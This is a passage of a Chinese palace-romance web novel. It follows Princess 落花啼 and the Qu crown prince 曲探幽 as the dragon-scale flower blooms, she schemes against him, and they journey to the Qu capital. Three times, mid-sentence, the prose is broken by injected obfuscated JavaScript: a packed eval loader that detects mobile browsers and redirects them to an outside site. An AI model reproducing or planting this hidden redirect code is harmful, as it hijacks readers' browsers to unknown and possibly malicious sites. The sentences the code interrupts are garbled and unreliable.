“那你知道他们往哪个方向跑了吗?”落花啼揉了揉太阳穴,头疼道。 “……没看清楚,实在太快了。”入鞘坚持不懈道,“春还公主,太子殿下是走了吗?” “嗯,他不要你了。” “啊!” 入鞘一听,撒丫子带着人狂奔,一瞬跑没了影。 待人走远,落花啼拦住欲下去管控警世司和刑场的花辞树,眉眼出尘,面衬桃瓣,笑意流辉道,“小花,先别走,跟我聊聊锁阳人吧,你千万得知无不言,言无不尽。对了,天下的其他门派你了解吗?也可告知于我。” 花辞树若有所思,掀唇一笑,朗然道,“公主,我当然想巨细无遗地言出,不过希望公主能答应我一件事。” “何事?” “小事。” 花辞树屈指挨近落花啼的耳畔,轻声细语,寥寥几句便移开身子。 跃鲤杀人一事尘埃落定,枫林国后裔和狡兔窟之人逃得无影无踪,落曲一行人只得暂时回落花王宫安置一通。 曲探幽一进花筑宫,便把找到龙鳞花的经过告诉了国王落花啸,并要求落花啼随他一起守护龙鳞花,等候花开。 落花啸巴不得曲探幽因为落花啼而优待落花国,觉得这是一个他们小两口单独相处的好机会,想也没想一口答应了。 无奈之下,落花啼收拾包裹出了王宫,她与曲探幽没事就去蛇盘峰苦守龙鳞花,常常日夜颠倒,累到极致就去落英缤纷客栈歇息一晚,第二天醒来继续过去守。 在山洞日日呵护龙鳞花,又是浇水又是除杂草,龙鳞花的模样分毫不变,连叶子都没有长一寸。 等了二月有余,两人皆瘦了几斤肉,莫名有同甘共苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回身坐下,神思恍惚,曲探幽愣是想不明白落花啼为何会写出这些奇怪的言辞,他搓搓手指,骨节发出“咔咔”声,仿佛捏碎一人的喉咙。 低低的呓语掠来,无征无兆。 “春天快过去了,花-径深,你还没同我放风筝呢……灵暝山没有你,我便不想去了。” “你什么时候能回来?我怕,怕等不到你回来。” “……” 人在无语的时候会笑的,曲探幽嗤笑出声,脸色笑吟吟,眼睛却是冷冰冰的。他伸手掐住落花啼的下颌,左右晃动,粗鲁至极,“醒醒!” 正做梦,下巴骤疼,落花啼睁眼望见对面之人,一巴掌摔过去,“啪”的清响能掩盖住洞外的可怖雷声。 曲探幽头一歪,脸侧浮现出一只清晰无比的鲜红五指印,眸珠喷火,再次单手钳制落花啼的脖子,勃然道,“孤跟你说过多少次,孤是你想打便打的?” 落花啼看定对方,眨一下眼,茫然无措,“是我打的吗?我没注意啊,我以为是流氓变态过来了,下意识出手的……太子殿下,对不住啊。” “呵,装疯卖傻。” 他似乎自我消化了一巴掌的威力,挑了新话题,直言不讳,“春还公主,你方才做梦了,梦里叫了一人的名字,花,径,深。你能否告知孤,他到底是谁?你我婚约在身,世人皆知,这天下还有人敢觊觎你?” “他是谁不重要,重要的是现在龙鳞花要开了。” “你说什么?” 落花啼眼萦清水,仰头,高傲无双,“你听不见吗?冰裂声,龙鳞花外表的冰雪在碎裂,脆如嚼骨。”一手劈开曲探幽扣住自己颈项的爪子,弹身直起,拍拍屁-股上的灰尘,步伐昳丽,三步并两步朝山洞深处走。 曲探幽怔忡难安,周身绷直。 有冰裂声吗?何以,他一点也未听见。 17. 俱是看花人 第十七章俱是看花人 (蔻燎) 曲探幽来到落花啼背后,瞳孔急缩,眉宇掩上难以置信的神色,透亮的丝缕蓝光映在脸上,罩得人置身海底无异。 无论是头发,衣饰,肌肤,通通是诡谲的荧荧幽蓝。 “咔嚓,咔嚓。” 细微如蛛丝的裂痕逐渐布满龙鳞花的所有枝叶,还有那朵鼓鼓囊囊的唯一花苞。 宽大的叶掌为了摆脱寒冰的冷冻,缓缓抖擞,纤尘飞灰般的冰碴簌簌地下坠,从根茎一路延伸到纵横错乱的其他嫩叶。 冰碴剥离,寒气消褪,直至最高端的花苞。 那拳头大的花苞外的冰壳最厚最硬,裂了横七竖八好几条口子还是未能膨胀开花,抖啊抖,颤啊颤,像被凄风苦雨鞭笞着,可怜无助。 落花啼心湖一漾,趁曲探幽的注意力不在她身上,使坏地扬起手臂重重拍了龙鳞花一耳光,想着一举把其打烂,让曲探幽尝一尝心死的感觉。 孰料她一巴掌下去,龙鳞花好像得到了古怪的鼓舞,颤抖的幅度层层高涨,“哗啦啦”一声刺耳的碰撞,花苞外小指厚的冰块全数破损,直线砸下。 洞内传起空灵的回音。 根本不及眨动眼眸,一束堪比烈日的金光透射而出,劈头盖脸拂来,无法逼视。 落花啼,曲探幽抬袖遮面,一俱挡了半晌金光,这才慢慢腾腾,小心翼翼撩起眼帘窥看。 寒冰褪去后,那株冰蓝色的植物更换成一树无风自曳,通身金黄,层层叠叠的耀目金花。 花瓣形状类似菡萏,叶子形状类似菊叶,枝干像极了生刺的荆棘,每一片花瓣都有密密麻麻的龙鳞暗纹,由深至浅,变化无穷,金芒璀璨,美得让人叹为观止,不枉此生。 “龙鳞花百年一遇,非是有缘之人不能等到它绽放,一旦亲眼看见龙鳞花开花者,便是未来称霸天下,统治百年的千古一帝。” 曲朝皇宫中的道长李怀桃的话语,言犹在耳,响彻心间,挥赶不去。 目涌精光,深不可测的眼仁越发黑沉,推开碍眼挡路的落花啼,曲探幽的笑声丝丝扣人心弦,癫狂倨傲。他捧着那金黄的花朵,道,“龙鳞花,你果然不负众望。” 凡是看见龙鳞花开放的人,就有可能是传说中的千古一帝。 思忖半刻,曲探幽瞥一瞥落花啼的眉目,顿了顿,发自肺腑嗤之以鼻。 女人,落花啼只是一个久困宫闱的女人。 不足为惧。 即便她看见龙鳞花开,她也没机会成为一统天下的帝王。 他睥睨落花啼,扬唇,“春还公主,孤会命人移栽走龙鳞花,事前承诺的话,一字不假,还请你届时陪孤同去曲朝,拿到赏赐的万两黄金。” “你是不会拒绝的,对么?” . 落花啼刚至落花王宫的大门,一下马车,就见一队青衣道童列出蜿蜒的长龙,手端托盘,盘上搁了几只玲珑剔透的酒罐。 一名带头的小道童,两手空空,独自走在前面,一副嚣张十足的表情。 横臂一展,落花啼滑过去堵住去路,挑挑眉,“哎呦,这不是能呼风唤雨的卧石道长吗?你怎的来落花王宫了?” 兢兢业业的卧石一边走一边还防止有青衣道童掉队,不料一回头就结实的与落花啼撞个正着,小少年脚底不稳,小鹿一般扑进落花啼的怀抱。 鼻息间充斥着浓烈的花香,发香,荷包香,惊得他趔趄后退,一屁股坐地上。 “你!” 卧石比落花啼小三两岁,个头还没往上蹿,小身板在地上轱辘一下,莫名滑稽,他爬起来指着落花啼的鼻子,“你怎么在此?” “怪了,这是本公主的王宫,本公主为何不能在?” “……我,我。” “你们哀悼山的人来落花王宫作什么?今天有什么宴会或者仪式吗?” “没,没有……我们是帮宗主来送酒,给,给王上的。”不知为何,卧石感觉说话的时候,落花啼的香味还环绕他的脑子,堕云坠雾,呼吸一紧,清秀的脸庞悄悄荡起绯红。 眼前的落花国长公主,体量修长,貌育神姿,肤如凝酥,眉若山黛,真真是世间无二,过目难忘。 一提到酒,落花啼可谓是意趣盎然,笑染双颊,截住一小道童,揭开酒罐盖子抱着往嘴里倒了几口,咂咂嘴,“好喝!苦润芳香,冷冽烧喉,是蛇酒吗?喝着有股蛇的腥味。” 她一连狂饮数口,一小罐玉色的酒极快见了底,伸手在罐子里掏了须臾,空空如也,“咦,蛇呢?里面不是泡了蛇吗?” 卧石此时才缓过劲儿,抢了酒罐护在胸前,无言以对,道,“公主,你一气呵成干了国王的酒,目下少了一罐,我们待会如何交差?……宗主说,为了美观,刻意把蛇捞出来的,你当然看不见蛇了。” “这样啊,你别怕,本公主喝了跟我父王喝了没两样,他不会为此降罪的。” 落花啼敲卧石一个暴栗,拿手背擦擦红唇,笑容满面,“卧石,你看,我们也是认识了,上一回是本公主不对,错怪了哀悼山,生肖杀手不是哀悼山的。你和你们宗主千万不要放在心上——对了,你那次使的招式,什么无量天相,什么飞沙走石,能不能教教本公主?” 卧石一把打开落花啼的手,点地跳远道,“那不过是小小幻术罢了,并不稀奇……男女授受不亲,你是公主殿下,我便不与你计较。如果我没记错,公主殿下是跟着灵暝山的宗主花下眠修行,你怎可私自偷学哀悼山的功夫?” 他对落花啼避如蛇蝎,朝一群道童挥挥手,气呼呼地领着人甩手走了。 “嘁,破小孩。”落花啼摇摇头,不以为意,熟门熟路摸到了良久未归的西风愁坞。 西风愁坞之内花团锦簇,紫红白粉,橙黄蓝绿,色色不同,样样齐全。 松木柏树,瑶草奇花,不胜枚举。 宫宇高高耸立,金碧连楹,飞阁流丹,华丽奢靡得能闪瞎人眼。 落花啼甫一走入,远远便见银芽握着一水壶在花海中浇花,臻首微垂,半侧着脸,偶尔用手拨开几缕绿叶,移出被遮挡的娇花。 运用内力藏起呼吸声,脚步声也浅似狸猫,落花啼悄悄步至银芽身后,两手一捉对方的腰肢,不停地挠痒痒,笑道,“小花仙子,让我抓住了!” “公主!” 银芽自有意识起就跟着落花啼同吃同住,照顾起居,落花啼的嗓音是刻在她骨髓上的,如何认识不了。她憋不住痒昂头大笑,回身转头按下落花啼的手,撅起嘴,“公主,你可算回来了,奴婢想你想得都睡不着了。这么久了,你们逮住坏人了吗?” 落花啼摸摸银芽的小脑袋,拉着人坐在玉阶上,将王宫外的事情讲了一遍,银芽听得津津有味,末了,惊呼道,“公主好厉害!不但想办法让杀人凶手伏法,还帮太子殿下找到了龙鳞花,一举两得啊。只可惜,那凶手被黑衣人救走了。” “本公主也没料想到跃鲤凌迟之时,还会有人突然劫他离去,不知他现下是死是活。” “奴婢觉得他应该会死吧,毕竟恶人有恶报嘛。公主,听你方才所言,你和太子殿下还在山洞共度了那么多天,你对太子殿下是何番心意呢?” “没有心意,只想让他身败名裂。” “啊?”银芽大惊失色,张大嘴巴,“公主定是开玩笑了,公主肯定舍不得这样对待太子殿下的。哦,说到太子殿下,刚刚他来西风愁坞找公主,不过公主不在,他便走了。” 落花啼狐疑满腹,恶形于色,“他来干什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810653|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?他不是一直跟本公主待一块吗?他们用马车运着龙鳞花,走在后头,不可能比本公主先回来。” 银芽摇头,“公主,不是曲朝太子,是落花国的太子,您的兄长啊。” 此言一出,落花啼讶然,歪歪头,嘀咕道,“大哥,他何事寻我。” 落花啼就两个哥哥,一个妹妹,大哥落花鸣年岁二十有五,行事优柔寡断,瞻前顾后,总是爱计较得失,喜怒无常,伺候他的宦官三天两头都得挨板子,每日吊胆提心,战战兢兢。 二哥落花吟,年二十,喜欢读书,没日没夜地读,活生生一位腌入味的书呆子。你以为他读的是圣贤书,非也,他是本书都读,不管是大街小巷传扬的风流话本,还是烟花柳巷里爆火的春宫画册,亦或者是历朝历代帝王将相交-媾拉扯的奇葩野史,他都啃得如痴如醉,食不下咽。 父王曾打趣说,要杀落花吟很容易,一把火燃了他的私人书库,他第二天准悬梁自尽。 先不说二哥了,二哥不喜政事,一见曲探幽这个异国太子来了落花国,他就“闭关修炼”,足不出户,上次百花齐放宴还是王后催促许久才露了一面。 而大哥落花鸣乃嫡长子,正是落花国高高在上的太子殿下,几年前就忙着帮落花啸处理国务,他应对两国交汇,相比之下就游刃有余些。也是由于政务颇多,他鲜少和两位妹妹亲密,若无要事,他不会来找落花啼。 银芽道,“奴婢听太子殿下说,曲朝太子提前遣人告知他与王上龙鳞花已开,说是让太子殿下和公主你一起前往曲朝,共得万两黄金,共赴十月份的中秋宴会,以表曲朝和落花国的友好相处。” “……那,大哥他是如何答复曲探幽的?” “太子殿下说,他愿意去,所以专程过来同公主你商量。” 落花啼按按眉心,一口气郁积在胸,憋得她无从呼吸,“曲探幽,你还把算盘打到我大哥身上了。” 曲探幽的葫芦里卖的能是什么好药,看样子,去曲朝一事是躲不过了,大不了迎难而上,不信他们会就地解决自己。 正好,去曲朝会会前世的一些故人。 落花啸身为一国之主,不知道未来会灭国,在曲探幽的提议下,笑眯眯地答应让落花啼和落花鸣休整一段时间就去曲朝。毕竟在他的视线里,落花啼,曲探幽二人是娃娃亲,迟早会在一起,多多接触更好。 落花啼前世在戌邕三十二年夏初,主动写书信派人送至曲朝,书信内容简单的一目扫完——本公主要退婚! 并扬言,心属他人,无法留给曲探幽一席之地。 那封退婚信在曲朝闹得沸沸扬扬,不出一月,全天下都知晓了。 心高气傲的曲探幽被退婚后,怒不可遏,一气之下,连夜跋涉千里,领兵攻打落花国,毫不手软,借以泄愤。 某种程度来说,一纸退婚信,是曲朝覆灭落花国的导火索,是秘而不宣围剿所谓的“千古一帝”的虚伪借口。 前世国灭,落花国的王室男人无一不被押上断头台,手起刀落,齐刷刷斩掉头颅,震慑天下。 碗口大的血洞黑糊糊的在日头底下曝晒了三天三夜,直至招惹了嗡嗡作响的恶臭虫蝇,曲朝才善心泛滥把尸体拖走埋了。 不算上早已灭亡的枫林国,曲水国,那么落花国就是开端。落花国之后,是蓝穹国,金炼国,焰焚国,黑羲国的渐次陨落,所有国度的疆域皆被曲朝这个怪物拆吃下腹,一根骨头也没吐出来。 前世曲探幽过得顺风顺水,目空一切,比神仙还快活恣意,这一世,历史更改,她落花啼是最大的变数,她偏要让曲探幽的舒适人生变得万劫不复,无能反抗。 所以,今生,她不会退婚。 她誓必要成为曲探幽的梦魇,永世摆脱不了。 18. 独坐幽篁里 第十八章独坐幽篁里 (蔻燎) 落花啼脱下华袍,穿上简易的淡粉宫女服,捡了偏僻路段,翻墙踩瓦,溜出了王宫。 清晨时分。灵暝山愈高的地方愈寒冷彻骨,风儿能吹到人-体最深处,落花啼抱紧绝艳,瑟瑟发抖,缩着脖子,搓一搓手指取暖。 熟悉的山路,她闭着眼睛都可走去天相宗,只不过,这一次不同,她是带了别样情愫而来的。 春已暮,夏已初。 适合暧昧的春季翩然离去,火热激烈的夏日接踵而至,避无可避。 远山叠翠,青岚缭绕。 落花啼走至半山腰,眸孔里掠入一道云绸沧浪青的衣袍,随风猎猎乍响,在天际卷出了半边青芒,快要被山林的墨绿所拥抱。 山峰绿得发黑,而那人的身形却是素雅淡然的青,像观音菩萨玉瓶里插-的一绺垂柳,有一种安宁的神性之美。 黑铁面具盖住半张面容,下颌的黑紫色高隆的毒疮与正常皮肤连成一片,紫的紫,白的白,色彩分外清晰。 头束发髻,乌发丝缕迎风飘扬,肩膀雄伟,胸膛挺拔,虎背蜂腰,单单伫立在那就身长玉立,夺人眼球。 首先,得忽视他的容貌。 “花-径深。” 落花啼眸泛秋水,迈步疯跑过去,“我不是说让你在宗门口等我吗,不必来山腰的。” 花-径深欲伸手去揽落花啼,顿一秒,垂下手,莞尔道,“公主殿下,你说今日有话要讲,是讲什么?” 落花啼不觉有异,摸摸花-径深的面具,笑了笑,诚挚道,“我想告诉你,我不嫁去曲朝了,我想和你在一起。” “退婚信已经遣人送去曲朝,曲朝太子看了自会明白其中意思。” “公主殿下……何以无缘无故要解了婚约?两国联姻,不是作玩笑的。”花-径深神游魄驰,魂飞天外,他的语气变得很奇怪,脸色也奇怪,仿佛黑铁面具都因震撼而“唰”的破碎裂开。 落花啼来回踱步,一笑即敛,温情道,“我才不管呢,下定决心之事,怎能反悔。” “公主,你的意思是……” “花-径深,成婚是得与心悦之人做的事,我讨厌曲探幽野心勃勃的样子,讨厌他表里不一的作风,讨厌他自以为是,暴戾残忍的脾气。虽然他的脸蛋的确堪称绝色,但他就是入不了我的眼,我觉得他不是好人,才不要和他成为夫妻。” “那公主,你是想——” 花-径深喉结上下一滑,话说了半截,再言语不出。 落花啼道,“我们认识这么多年,知根知底,我喜欢你的性格,跟你待着我会感到高兴舒服。所以,我想带你回落花王宫,做我的夫君。” 花-径深动了动嘴唇,好像回答了,又好像没回答。 风声过于嚣张,蛮横无理地把他的话卷去了遥远的天角。 永远,永远也听不见。 神思抽-回,斜倚在凉亭阑干上的落花啼,凝视着西风愁坞里穿流而过的一条弯曲小溪,水下有她豢养的鲤鱼,体型肥硕,摆着尾巴围着凉亭底部游动。 手心的鱼食被汗液泡得发粘,索性一把全兜进水里。 红黄白黑的锦鲤在下方争争挤挤张着圆溜的大嘴,一口吞十几粒,肚子鼓得不像话。 落花啼挑过一旁的绝艳,想去宽敞地练练武,突闻一阵悠扬的笛音跃过白墙飘进耳膜,清凛雅韶,胜似天籁。 “银芽,你去打听打听,谁在吹笛子?卖弄做作,和猪叫有什么区别。” “好的,公主。” 侍弄花草的银芽放下手中的剪刀,带着两名宫婢启开大门钻了出去,不消片刻,三人极快折了回来。 禀报道,“公主,笛声好像是从风竹幽居里传来的。” 修竹揽云,碧绿似水,流淌潺潺。 风竹幽居内种下了遮天蔽日的一丛冷箭竹,钻破泥土碎石,直直挺上了湛蓝的天幕,若来一只相衬的精弓,便能一蹴而就射-穿空悬的青日。 竹林下建了黑瓦白墙的亭子,翼然耸立,斗拱反宇,钉头磷磷,亭柱上绘了神秘的古老壁画,浑厚肃穆。四个檐角弯弯地翘起来,末端各系了一块铜铸的铃铛,斜风敲击,荡出叮叮当当的清响。 一声轻,一声重,一声淡,一声浓,比人的七情六欲还跌宕。 亭中有两抹身形,一坐一靠,一金一黑。 坐在石椅上的曲探幽将白玉纤笛横在嘴边,指尖点跃,一双黑眸半敛。 含着悲戚抵抑的笛声如泣如诉地自他指间泄出,抓不住,看不见。 入鞘道,“太子殿下,春还公主来了。” 笛音停滞,戛然遏止。 曲探幽大手一抛,搁下玉笛丢在石桌上,端坐不动,睇眄着径直走来的落花啼,诧异地挑了挑一边眉头,“春还公主,什么风把你吹来了。” 他睨一瞬入鞘,入鞘点头,屏退周围的宦官婢女,顺道将银芽也一同打发走。 竹林下,凉亭内,唯剩曲探幽与落花啼二人。 落花啼一甩曳地的红裙,单刀直入,抄手道,“什么时候出发?” “孤不明白。” “本公主说,什么时候出发去曲朝。” “你就这么迫不及待?” 落花啼气笑了,狠狠剜后者一眼,“曲探幽,都是你干的好事,现在我大哥也愿意同去,难不成我还能不去?” “你是聪明人,去与不去,你能掂量出来的。”眼底的玩味呼之欲出,曲探幽只手撑颌,定定不移地扫视落花啼的脸庞,“落花啼,当时龙鳞人跃鲤被劫走之时出现了藏身许久的枫林国后裔,如此一来,孤的注意力暂时会挪到他们那,四面八方地追索,一举歼灭,不留后顾之忧。孤说这些,你听懂了吗?” “怎么?落花国还得仰人鼻息看曲朝的脸色行事?” “不是吗?” 曲探幽嗤笑,“你届时嫁给孤,不久之后整个天下都唾手可得,乃是旁人求之不得的好事,你扭扭捏捏做什么。只要你嫁给孤,落花国就不会走上枫林国的后尘,如何?” 虽然知晓曲探幽笑意之下掩匿的威胁意味,但落花啼还是情不自禁怒形于表,玄雷轰顶般几要窒息。 一口银牙咬碎,往肚子里吞。 她正欲奋袂离去,却听曲探幽寒浸浸笑道,“落花啼,别急着走,孤还有一事想问问你。” 他掏出一页皱皱巴巴的纸,展开递给落花啼,“这是新的千古一帝传言的诗,是孤在一条毒蛇口中取下,那蛇的头颅被孤一剑斩断,它一分为二之时还在徒劳挣扎,像极了不知天高地厚的小国。” 熟悉的纸张跌入眼眶,落花啼几不可鉴地怔忡,头皮炸开,发麻抽痛,她揪过纸定睛一看,正是她和银芽连夜写的新谣言。 眼尾直跳,佯装自若,“你给我看这作甚?” “不是给你看的,是给你闻的。” “闻……” “你闻闻,这纸上有何味道。” 艰涩地咽一口唾沫,落花啼深呼吸一气,把纸送到鼻间嗅了嗅,顿时毛骨悚然,如芒在背。 苦酒香。 毒蛇自带的酒香染到了千古一帝的诗纸之上,不仔细的话,难以发觉。 落花啼再一次觳觫曲探幽洞若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810654|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观火的恐怖能力。 曲探幽见落花啼身僵如木,他笑容愈烈,眉目阴鸷,喉音充满质问的味道,“落花啼,如果孤没猜错,新的千古一帝之辞是你一手操纵出来的。那日你在义庄驱蛇,蛇群如临大敌一溜烟消失,奇怪极了。而那些蛇出现,刚好就有丝丝缕缕的苦酒香。现在,你能解释一二么?” 第一次出落花王宫找龙鳞花的那天,二公主落花蕊带曲探幽去看了一些国内著名的饲蛇人和毒蛇,那些笼子里的毒蛇,皆没有酒味缠绕。 就连入鞘去花落知多少调查养蛇的地方,也未闻见蛇身上有酒香,除了蛇的腥味,再无其他。 而落花啼可轻轻松松喝退毒蛇,那些毒蛇将她奉若神明,并且它们来去匆匆的时候,那一股淡淡的苦酒香令人忽略不了。 落花啼额冒冷汗,强颜欢笑,“曲探幽,你有没有听过世界上有一种酒,名唤‘蛇酒’?王宫上上下下都知道本公主喜喝蛇酒,那些蛇怕不是从酒坛里逃出来的,遇见爱喝蛇酒的本公主,自然吓得屁滚尿流,一切不过是巧合。至于你说的操控千古一帝新谣言,本公主觉得是无稽之谈,无凭无据,你这是在污蔑。” “哦,看来,孤错怪你了。” 曲探幽目光凌厉收紧,似笑非笑,前言不搭后语,道,“七月初就启程回曲朝,得给时间让移栽出来的龙鳞花适应一番。” “若无其他事,春还公主请便罢。” 骨节修长,手背青筋微隆,白皙的肤色一点不输女子,他漫不经心拾起玉笛,放在唇边继续吹奏。清冽的乐声在竹林里起伏,与呼啸风声应和,绕梁不绝。 岁月易逝,流光不复。 在这段日子,落花啼一有空闲就去灵暝山习武练剑,她一直想求见她的两位师姐,直到临近出发日子,落花啼也没能等到红衰,翠减的露面。 绝艳在空中晃出残影,一记横劈,不远处的假石瞬间炸开了花。 一小道童不停地鼓掌,赞叹道,“公主殿下,你现在的招式比之前好多了,速度迅疾,威力凶猛。” 落花啼休剑负后,“大师姐,二师姐她们如今在哪?可有归来?” 红衰,翠减形影不离,其中一人不在天相宗,另一人绝对也不在。不知是不是修行日久,两人的性子逐渐以不可控的方式和师父花下眠越发相似,总爱没事携一把剑轻装远出,一走就是一年半载。 花下眠游历之前吩咐她们要襄助落花啼练武,必要时助她突破武力,更上一层楼。若是落花啼遭逢危机,她们就得出面抵挡,化险为夷。 世事难料。 花下眠前脚将走,红衰翠减后脚就一声不吭自个儿溜走了,目下归期不明。 天相宗除了几位年过半百的长老在打点,再无主要人物。 “就算不待见我,也不用这么躲着吧。” 气馁垂头,落花啼离开了天相宗,独自下山。 路过花落知多少,她买了一块鲜花酥,正吃得香喷喷,四五个铜墙铁壁似的壮汉轰隆隆走来,巨大的黑色阴影把落花啼整个人笼罩在内,显得她极其弱小。 落花啼茫然,咬一口鲜花酥,抬目直视那些大块头,挑衅道,“想打架?” 为首的大块头“嘭”一砸拳,尖细靡靡的声音道,“公主殿下啊,这边走嘞,请呀——” 身量是庞然大物,喉咙管却紧得和小绵羊一样。 如此大的奇怪反差,逗得落花啼捧腹大笑,“你既知晓本公主的身份,还用这样的排场来‘请’吗?” 她笑眯眯地取出背后的绝艳,反手一刺,银色长剑灵蛇翾舞般游蹿飞射,朝着最近的大块头狠狠袭去。 19. 尺蠖之屈兮 第十九章尺蠖之屈兮 (蔻燎) 大块头不敢欺负落花国的长公主,厚壮的铁臂一挡,以坚硬的护腕震开落花啼手里的长剑。 绵言细语道,“公主殿下,你莫气嘛……” 落花啼还待再刺,身边扑来一阵暖风,夹击着胭脂水粉的浓稠香气,防不胜防。 “哎,哎,怠慢了,怠慢了!” 一虚浮低沉的男音乍起,周围的壮汉们退避三舍,一一低首杵在那人之后。 落花啼疑惑,循着声音慢悠悠移去眸光,自下往上,是一袭花枝招展的五彩长袍,比凤凰还招摇,腰板上束了一条黄金带,上面点缀珠玑玛瑙,翡翠珊瑚,可以说稍微叫得上名头的玉石全数堆砌上去。 犄角旮旯还能塞下几坨荷包,香囊,原本就不瘦劲的腰被撑得粗了一截,堪称为琳琅满目了。 往上,挤了几颗粉乎乎的小脑壳,互相涂着刺目的腮红,鲜红的口脂,瞅见落花啼,嘻嘻哈哈地眨眼睛。 再往上,是一颗圆润的男人头,高绑发髻,头戴玉冠,耳后插-一朵红艳艳的玫瑰花,八个字——花里胡哨,风-骚-浪-荡。 那人左拥右抱,笑得牙花子裂到耳根子。身边的如花美人伏在他身上,个个柔情蜜意,笑靥冉冉,好不快活。 落花啼搔了搔头,懵然无措,“你是……” “对不住,公主殿下,哎,是他们怠慢了,我并不是指挥他们粗暴地邀请公主殿下,我只是想让他们拦住你感谢一番,感谢感谢。” 此话不说还好,一说落花啼恍然顿悟。 眼前之人,不正是被跃鲤掳去蛇盘峰,倒挂山洞,险些沦为“猴尸”的富贾之子钱钵溢吗? 他脸上当时缝遍了猴子的毛茸茸面皮,触目惊心,眼下已寻医一点点剔除剥开了猴皮,足不出户养了多月,抢了一命。 小命是保住了,可惜那猴皮粘在脸上许久,感染了毒菌,一张脸已然破相,密密麻麻是横七竖八的针线印疤,还有结痂未干的血口,不比猴子脸好看多少。 但他家大业大,不缺钱财,迟早有一天能将脸蛋治回原来的模样。 虽然落花啼对钱钵溢以前的样子并无任何印象。 “公主殿下,多谢你和曲朝太子救我,不然我也跟义庄里的死人一个德行了。哎,我爹说,要请你去府内坐一坐好好感谢,我爹已清点了金银珠宝,还准备了一大份婚事礼物,早早遣人送去王宫,现在应该快到了吧。我爹还说,见了公主要道喜,预祝公主殿下和曲朝太子喜结秦晋之好,祝福二人喜结连理,早生贵子,早生贵子啊,哎!哎!” 钱钵溢嘴里说着话,两只眼睛钉在落花啼周身,不盯出窟窿眼儿不罢休。舔一舔苍白的唇,黑眼圈乌青,乍一看,就知是泄-精过量的亏虚之人。 “……等等,什么婚事礼物,你们也太夸张了,别乱点鸳鸯谱,倒有咒本公主的意思,本公主不要!听着真是晦气!”落花啼一个脑袋三个大,捂着抽-动的太阳穴使劲揉揉,啼笑皆非。 钱钵溢从小娇生惯养,长大了又频繁流连花营柳阵,不擅思考,想到的最好的报恩方法就是猛砸银两,或是投其所好提前恭维她和曲探幽的婚事。 殊不知拍马屁拍到了马蹄子上,歪得不能再歪了。 钱钵溢道,“公主殿下,你不喜欢这些吗?” “不喜欢。” 落花啼一敲脑门,五指掩在眼前,愣了一下,松手指着钱钵溢,意味深长道,“钱钵溢,倘若你想报答救命之恩……不是现在,本公主有需要的时候,届时自会来寻你,如何?” 钱钵溢一呆,想也没想地重重点头。 甩掉钱钵溢等人,落花啼火急火燎赶在钱府的礼物进宫前,把所有东西一并退了,这才安心舒坦。 夏未央,火云如烧。 落花啼告别了落花啸,花汲人,落花吟,落花蕊,装好包袱,随着落花鸣一齐跟曲探幽前往曲朝。 落花蕊想追随过去,被落花啸严词回绝了,无奈之下咬牙,甩袖走远。 曲兵,落花士兵排成猛龙状,一队金黄,一队金粉,浩浩汤汤,密无际涯。 一行人自落花国出发,途经灵犀盆地,卧女关,到了卧女山脉歇息三天,过关之后便走水路,水路告罄转陆路,沿着逆兽道走了数日,颠簸着来到了曲朝。 在曲朝的皇城曲水沣都陆续下马车,时日已九月初,炎热夏季的小尾巴悄悄后缩。 潮水狂浪般的喧嚣人声鼎沸入耳,吵吵闹闹往脑仁里钻。 旋身,举目四望。 曲水沣都,乃是曲朝的第一皇都,商贾云集,金银流地,富贵精致,大气恢宏,比得过天上宫阙。 城内的殿堂楼阁,亭台宫宇皆是高耸入云,干云蔽日,金白两色的建筑密密匝匝直铺到天边去,一望无垠。 雕梁画栋华美富丽,碧瓦朱甍神宫天巧。 身临仙境,叹为观止。 不止房屋建筑美轮美奂,长街上川流不息的人群穿戴丝绸,腕套金镯,喜眉笑眼,端的是一派安居乐业,潇洒恣意。 百姓们瞧见曲朝皇族的队伍,后知后觉,分成两波俯首迎接,有零星几人偷偷地瞄上一瞄,饱一饱眼福。 “太子殿下万福!” 曲探幽骑在马上,远眺尽头,一片金色旌旗飘展浮动,数十匹宝马橐橐地炸响跑来,不出半刻就壅堵了曲水沣都的街道。 马蹄声狂奔似雷,灌入耳膜,刺痛不已。 聆声一望,但见一群侍卫簇拥着两位高大挺拔的华服男子,两男子不约而同翻身下马,阔步行来。 高昂的绸缎裁衣裹身,锦靴踏地,腰间悬挂数不胜数的耀目饰品,听环佩之铿锵,听玉珏之铮鸣。 落花啼目光瞟去,严肃地看着那两人的容貌。 甫一瞥视了半边脸,四周的曲兵一同高声,齐刷刷欠身行礼。 “参见四皇子,六皇子!” 这纡金佩紫,华贵十足的二人,不正是前世的宴会之上,她一个一个跪地敬酒的其中两位曲朝皇子吗? 四皇子曲瑾琏,六皇子曲钦寒,皆与曲探幽素日交好,手足情深。 不是冤家不聚头。 没想到这么快就见面了,天意戏弄。 